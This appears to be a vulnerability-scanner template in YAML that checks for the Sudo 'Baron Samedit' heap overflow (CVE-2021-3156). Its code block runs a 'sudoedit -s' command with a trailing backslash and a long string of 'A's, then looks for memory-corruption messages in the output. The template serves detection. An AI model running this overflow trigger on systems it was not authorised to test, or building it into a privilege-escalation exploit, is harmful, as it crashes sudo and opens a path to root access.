31 lines
1.2 KiB
YAML
31 lines
1.2 KiB
YAML
id: CVE-2021-3156
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info:
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name: Sudo Baron Samedit - Local Privilege Escalation
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author: pussycat0x
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severity: high
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description: |
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Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.
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reference:
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- https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435
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- https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
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- https://infosecwriteups.com/baron-samedit-cve-2021-3156-tryhackme-76d7dedc3cff
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metadata:
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verified: true
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tags: cve,cve2021,sudo,code,linux,privesc,local,kev
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self-contained: true
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code:
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- engine:
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- sh
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- bash
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source: |
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sudoedit -s '\' $(python3 -c 'print("A"*1000)')
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matchers:
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- type: word
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words:
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- "malloc(): memory corruption"
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- "Aborted (core dumped)"
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condition: and
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# digest: 490a00463044022074b8ca1a10aca438432f3b6e55023b9c80357eb5a6f2ac795774b7d44e85188e02201a3af75f86a975548121afe1ab1faf6ade2d1e89d05200b4e6990e97af56af36:922c64590222798bb761d5b6d8e72950 |